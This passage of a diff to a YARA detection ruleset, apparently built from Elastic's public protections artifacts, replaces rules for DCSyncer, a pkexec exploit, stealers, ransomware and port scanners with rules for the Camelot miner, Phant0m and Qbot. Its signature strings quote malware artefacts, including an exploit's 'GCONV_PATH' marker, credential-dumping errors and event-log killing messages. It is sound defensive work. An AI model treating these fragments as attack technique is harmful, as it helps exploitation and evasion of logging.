+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Dcsyncer.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "af7dbc84efeb186006d75d095f54a266f59e6b2348d0c20591da16ae7b7d509a"
-		logic_hash = "b0330adf1d4420ddf1f302974d2e4179f52ab1c8dc2f294ddf52286d714e0463"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L158-L176"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
+		logic_hash = "476b800422b6d98405d8bde727bb589c5cae36723436b269beaa65381b3d0abe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6a0c028323be41f6ec90af8a7ea8587fee6985ddefdbcdd24351cb615f756a2"
-		threat_name = "Windows.Hacktool.Dcsyncer"
+		fingerprint = "d5998e0bf7df96dd21d404658589fb37b405398bd3585275419169b30c72ce62"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "[x] dcsync: Error in ProcessGetNCChangesReply" wide fullword
-		$a2 = "[x] getDCBind: RPC Exception 0x%08x (%u)" wide fullword
-		$a3 = "[x] getDomainAndUserInfos: DomainControllerInfo: 0x%08x (%u)" wide fullword
-		$a4 = "[x] ProcessGetNCChangesReply_decrypt: Checksums don't match (C:0x%08x - R:0x%08x)" wide fullword
+		$a = { 18 8B 44 24 1C 8B 50 0C 83 E8 04 8B 0A FF 74 24 28 FF 74 24 28 FF 74 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2021_4034_1C8F235D : FILE CVE_2021_4034
+rule ELASTIC_Linux_Cryptominer_Camelot_83550472 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2021 4034 (Linux.Exploit.CVE-2021-4034)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "1c8f235d-1345-4d5f-a5db-427dbbe6fc9a"
-		date = "2022-01-26"
-		modified = "2022-07-22"
+		id = "83550472-4c97-4afc-b187-1a7ffc9acbbc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2021_4034.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "94052c42aa41d0911e4b425dcfd6b829cec8f673bf1245af4050ef9c257f6c4b"
-		logic_hash = "217df6687076a715712a053672d7b02567a3ee38ce9c0ccf80d23fcfde35592a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L178-L196"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d2d8421ffdcebb7fed00edcf306ec5e86fc30ad3e87d55e85b05bea5dc1f7d63"
+		logic_hash = "f62d4a2a7dfb312b2e362844bfa29bd4453a05f31b4f72550ef29ff40ed6fb9d"
 		score = 75
 		quality = 75
-		tags = "FILE, CVE-2021-4034"
-		fingerprint = "b145df35499a55e3e920f7701aab3b2f19af9fafbb2e0c1af53cb0b318ad06a6"
+		tags = "FILE, MEMORY"
+		fingerprint = "63cf1cf09ad06364e1b1f15774400e0544dbb0f38051fc795b4fc58bd08262d1"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$s1 = "PATH=GCONV_PATH="
-		$s2 = "pkexec"
+		$a = { FA 48 8D 4A 01 48 D1 E9 48 01 CA 48 29 F8 48 01 C3 49 89 C4 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Fickerstealer_Cc02E75E : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_8799D8D6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Fickerstealer (Windows.Trojan.Fickerstealer)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "cc02e75e-2049-4ee4-9302-e491e7dad696"
-		date = "2021-07-22"
-		modified = "2021-08-23"
+		id = "8799d8d6-714b-4837-be60-884d78e3b8f3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Fickerstealer.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4113ccb55e06e783b6cb213647614f039aa7dbb454baa338459ccf37897ebd6"
-		logic_hash = "ccfd7edf7625c13eea5b88fa29f9b8d3d873688f328f3e52c0500ac722c84511"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L198-L216"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4a6d98eae8951e5b9e0a226f1197732d6d14ed45c1b1534d3cdb4413261eb352"
+		logic_hash = "4bcd7931aeed09069d5dd248a66f119a2bdf628e03b9abed9ee2de59a149c2bc"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "022088764645d85dd20d1ce201395b4e79e3e716723715687eaecfcbe667615e"
-		severity = 80
+		fingerprint = "05c8d7c1d11352f2ec0b5d96a7b2378391ad9f8ae285a1299111aca38352f707"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii fullword
-		$a2 = "\"SomeNone" ascii fullword
+		$a = { 72 56 66 48 32 37 48 4D 5A 75 6D 74 46 75 4A 72 6D 48 47 38 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Fickerstealer_F2159Bec : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_0F7C5375 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Fickerstealer (Windows.Trojan.Fickerstealer)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "f2159bec-a3ce-47a9-91ad-43b8a19ac172"
-		date = "2021-07-22"
-		modified = "2021-08-23"
+		id = "0f7c5375-99dc-4204-833a-9128798ed2e9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Fickerstealer.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4113ccb55e06e783b6cb213647614f039aa7dbb454baa338459ccf37897ebd6"
-		logic_hash = "d36cb90b526a291858291d615272baa78881309c83376f4d4cce1768c740ddbc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L218-L236"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e75be5377ad65abdc69e6c7f9fe17429a98188a217d0ca3a6f40e75c4f0c07e8"
+		logic_hash = "05f4b16a7e4c7ffbc6b8a2f60050a4ac1d05d9efbe948e2da689055f6383cf82"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0671691c6d5c7177fe155e4076ab39bf5f909ed300f32c1530e80d471dff0296"
+		fingerprint = "53bb31c6ba477ed86e55ce31844055c26d7ab7392d78158d3f236d621181ca10"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 10 12 F2 0F 10 5A 08 31 C1 89 C6 8B 42 50 89 7D F0 F2 0F 11 8D 18 FF }
+		$a = { F8 7F 48 89 85 C0 00 00 00 77 08 48 83 85 C8 00 00 00 01 31 F6 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Merlin_E8Ecb3Be : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_87639Dbd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Merlin (Windows.Trojan.Merlin)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "e8ecb3be-edba-4617-b4df-9d5b6275d310"
-		date = "2022-01-05"
-		modified = "2022-04-12"
+		id = "87639dbd-da2d-4cf9-a058-16f4620a5a7f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Merlin.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "768c120e63d3960a0842dcc538749955ab7caabaeaf3682f6d1e30666aac65a8"
-		logic_hash = "293158c981463544abd0c38694bfc8635ad1a679bbae115521b65879f145cea6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L238-L256"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d2d8421ffdcebb7fed00edcf306ec5e86fc30ad3e87d55e85b05bea5dc1f7d63"
+		logic_hash = "b81af8c9baee999b91e63f97d5a46451d9960487b25b04079df5539f857be466"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "54e03337930d74568a91e797cfda3b7bfbce3aad29be2543ed58c51728d8e185"
+		fingerprint = "c145df0a671691ef2bf17644ec7c33ebb5826d330ffa35120d4ba9e0cb486282"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { AF F0 4C 01 F1 4C 8B B4 24 A8 00 00 00 4D 0F AF F4 4C 01 F1 4C 8B B4 24 B0 00 }
+		$a = { 45 00 48 83 C2 01 48 89 EF 48 89 53 38 FF 50 18 48 8D 7C 24 30 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rweverything_Aee156A5 : FILE
+rule ELASTIC_Linux_Cryptominer_Camelot_Cdd631C1 : FILE MEMORY
 {
 	meta:
-		description = "Name: RwDrv.sys"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "aee156a5-a841-4a9d-97de-1d935705b4bb"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "cdd631c1-2c03-47dd-b50a-e8c0b9f67271"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_RWEverything.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3c5bf92c26398695f9ced7ce647a7e9f6ddcc89eea66b45aa3607196a187431b"
-		logic_hash = "46b7f2ad46564c6b99f0df6146dff7c88ccbe3ad6c6d1bcbefe756606c4fe40e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L258-L276"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91549c171ae7f43c1a85a303be30169932a071b5c2b6cf3f4913f20073c97897"
+		logic_hash = "5e4b26a74fc3737c068917c7c1228048f885ac30fc326a2844611f7e707d1300"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "ced97dd50a1525aeafef2192c16c1a4f29d6c70e7b3c4b196352cfc2a5c8f157"
-		threat_name = "Windows.VulnDriver.RWEverything"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "fa174ac25467ab6e0f11cf1f0a5c6bf653737e9bbdc9411aabeae460a33faa5e"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 52 00 77 00 44 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
+		$a = { 00 5F 5A 4E 35 78 6D 72 69 67 35 50 6F 6F 6C 73 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Morpes_D2Ae1Edf : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_209B02Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Morpes (Linux.Trojan.Morpes)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "d2ae1edf-7dd3-4506-96e0-039c8f00d688"
-		date = "2021-01-12"
+		id = "209b02dd-3087-475b-8d28-baa18647685b"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Morpes.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "14c4c297388afe4be47be091146aea6c6230880e9ea43759ef29fc1471c4b86b"
-		logic_hash = "27eb8b4d0f91477c2ac26a5e25bfc52903faf5501300ec40773d3fc6797c3218"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L278-L296"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "60d33d1fdabc6b10f7bb304f4937051a53d63f39613853836e6c4d095343092e"
+		logic_hash = "5cadc955242d4b7d5fd4365a0b425051d89c905e3d49ea03967150de0020225c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a4cedb0ef6c9c5121ee63c0c8f6bb8072f62b5866c916c7000d94999cd61b9b5"
+		fingerprint = "5829daea974d581bb49ac08150b63b7b24e6fae68f669b6b7ab48418560894d4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57374,28 +61628,28 @@ rule ELASTIC_Linux_Trojan_Morpes_D2Ae1Edf : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 64 B0 05 00 00 B0 05 00 00 B0 05 00 00 3C 00 00 00 3C 00 00 00 }
+		$a = { 45 31 F5 44 0B 5C 24 F4 41 C1 EA 10 44 0B 54 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Tofsee_26124Fe4 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Phant0M_2D6F9B57 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Tofsee (Windows.Trojan.Tofsee)"
+		description = "Detects Windows Hacktool Phant0M (Windows.Hacktool.Phant0m)"
 		author = "Elastic Security"
-		id = "26124fe4-f2a1-4fc9-8155-585b581476de"
-		date = "2022-03-31"
-		modified = "2022-04-12"
+		id = "2d6f9b57-bde0-4570-8e38-187dbf05e6d3"
+		date = "2024-02-28"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Tofsee.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494"
-		logic_hash = "e765953dec7c7b2a1fbebf92c2fff46453c8258722ad5ca92ba4c7526a8b0c66"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Phant0m.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "30978aadd7d7bc86e735facb5046942792ad1beab6919754e6765e0ccbcf89d6"
+		logic_hash = "a66f8779f77b216f7831617a34c008e4202f36e74f2866c9792cee34b804408d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31"
+		fingerprint = "d4a92775e76bbb00e677a289942f9b3f8101a1dc2f55b30cfa32e4c7feae6c8a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57403,29 +61657,33 @@ rule ELASTIC_Windows_Trojan_Tofsee_26124Fe4 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 55 8B EC 8B 45 ?? 57 8B 7D ?? B1 01 85 FF 74 ?? 56 8B 75 ?? 2B F0 8A 14 06 32 55 ?? 88 10 8A D1 02 55 ?? F6 D9 00 55 ?? 40 4F 75 ?? 5E 8B 45 ?? 5F 5D C3 }
-		$b = { 8B 44 24 ?? 53 8A 18 84 DB 74 ?? 8B D0 2B 54 24 ?? 8B 4C 24 ?? 84 DB 74 ?? 8A 19 84 DB 74 ?? 38 1C 0A 75 ?? 41 80 3C 0A 00 75 ?? 80 39 00 74 ?? 40 8A 18 42 84 DB 75 ?? 33 C0 5B C3 }
+		$api = "NtQueryInformationThread"
+		$s1 = "Suspending EventLog thread %d with start address %p"
+		$s2 = "Found the EventLog Module (wevtsvc.dll) at %p"
+		$s3 = "Event Log service PID detected as %d."
+		$s4 = "Thread %d is detected and successfully killed."
+		$s5 = "Windows EventLog module %S at %p"
 
 	condition:
-		any of them
+		$api and 2 of ($s*)
 }
-rule ELASTIC_Windows_Ransomware_Generic_99F5A632 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Qbot_D91C1384 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Generic (Windows.Ransomware.Generic)"
+		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
 		author = "Elastic Security"
-		id = "99f5a632-8562-4321-b707-c5f583b14511"
-		date = "2022-02-24"
-		modified = "2022-02-24"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Generic.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382"
-		logic_hash = "2284cfc91d17816f1733e8fe319af52bc66af467364d27f84e213082c216ae8b"
+		id = "d91c1384-839f-4062-8a8d-5cda931029ae"
+		date = "2021-07-08"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Qbot.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "18ac3870aaa9aaaf6f4a5c0118daa4b43ad93d71c38bf42cb600db3d786c6dda"
+		logic_hash = "8fd8249a2af236c92ccbc20b2a8380f69ca75976bd64bad167828e9ab4c6ed90"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "84ab8d177e50bce1a3eceb99befcf05c7a73ebde2f7ea4010617bf4908257fdb"
+		fingerprint = "1b47ede902b6abfd356236e91ed3e741cf1744c68b6bb566f0d346ea07fee49a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57433,242 +61691,267 @@ rule ELASTIC_Windows_Ransomware_Generic_99F5A632 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "stephanie.jones2024@protonmail.com"
-		$a2 = "_/C_/projects/403forBiden/wHiteHousE.init" ascii fullword
-		$a3 = "All your files, documents, photoes, videos, databases etc. have been successfully encrypted" ascii fullword
-		$a4 = "<p>Do not try to decrypt then by yourself - it's impossible" ascii fullword
+		$a = { FE 8A 14 06 88 50 FF 8A 54 BC 11 88 10 8A 54 BC 10 88 50 01 47 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Portscan_A40C7Ef0 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Qbot_7D5Dc64A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
+		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
 		author = "Elastic Security"
-		id = "a40c7ef0-627c-4965-b4d3-b05b79586170"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Portscan.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c389c42bac5d4261dbca50c848f22c701df4c9a2c5877dc01e2eaa81300bdc29"
-		logic_hash = "6118ea86d628450e79ee658f4b95bae40080764a25240698d8ca7fcb7e6adaaf"
+		id = "7d5dc64a-a597-44ac-a0fd-cefffc5e9cff"
+		date = "2021-10-04"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Qbot.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2bacde7210d88675564106406d9c2f3b738e2b1993737cb8bf621b78a9ebf56"
+		logic_hash = "5c8858502050494ab20a230f04c2c1cb4bfcd80f4a248dad82787d7ce67c741d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bf686c3c313936a144265cbf75850c8aee3af3ae36cb571050c7fceed385451d"
+		fingerprint = "ab80d96a454e0aad56621e70be4d55f099c41b538a380feb09192d252b4db5aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 54 50 44 00 52 65 73 70 6F 6E 73 65 20 77 61 73 20 4E 54 50 20 }
+		$a1 = "%u.%u.%u.%u.%u.%u.%04x" ascii fullword
+		$a2 = "stager_1.dll" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Portscan_6C6000C2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Qbot_6Fd34691 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
+		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
 		author = "Elastic Security"
-		id = "6c6000c2-7e9a-457c-a745-00a3ac83a4bc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Portscan.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8877009fc8ee27ba3b35a7680b80d21c84ee7296bcabe1de51aeeafcc8978da7"
-		logic_hash = "0cae81cbc0fdf48b4e7ac09865f05e2ad93d79b7a6f1af76a632727127ab050f"
+		id = "6fd34691-10e4-4a66-85ff-1b67ed3da4dd"
+		date = "2022-03-07"
+		modified = "2022-04-12"
+		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Qbot.yar#L44-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0838cd11d6f504203ea98f78cac8f066eb2096a2af16d27fb9903484e7e6a689"
+		logic_hash = "9422d9f276f0c8c2990ece3282d918abc6fcce7eeb6809d46ae6b768a501a877"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3c893aebe688d70aebcb15fdc0d2780d2ec0589084c915ff71519ec29e5017f1"
+		fingerprint = "187fc04abcba81a2cbbe839adf99b8ab823cbf65993c8780d25e7874ac185695"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 30 B9 0E 00 00 00 4C 89 D7 F3 A6 0F 97 C2 80 DA 00 84 D2 45 0F }
+		$a1 = { 75 C9 8B 45 1C 89 45 A4 8B 45 18 89 45 A8 8B 45 14 89 45 AC 8B }
+		$a2 = "\\stager_1.obf\\Benign\\mfc\\" wide
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Hacktool_Portscan_E191222D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Qbot_3074A8D4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
+		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
 		author = "Elastic Security"
-		id = "e191222d-633a-4408-9a54-a70bb9e89cc0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Portscan.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2f4313538c3ef23adbfc50f37451c318bfd1ffd0e5aaa346cce4cc37417f812"
-		logic_hash = "6ffb2add4a76214ffd555cf1fe356371acd3638216094097b355670ecfe02ecd"
+		id = "3074a8d4-d93c-4987-9031-9ecd3881730d"
+		date = "2022-06-07"
+		modified = "2022-07-18"
+		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Qbot.yar#L66-L97"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a"
+		logic_hash = "90c06bd09fe640bb5a6be8e4f2384fb15c7501674d57db005e790ed336740c99"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5580dd8b9180b8ff36c7d08a134b1b3782b41054d8b29b23fc5a79e7b0059fd1"
+		fingerprint = "c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
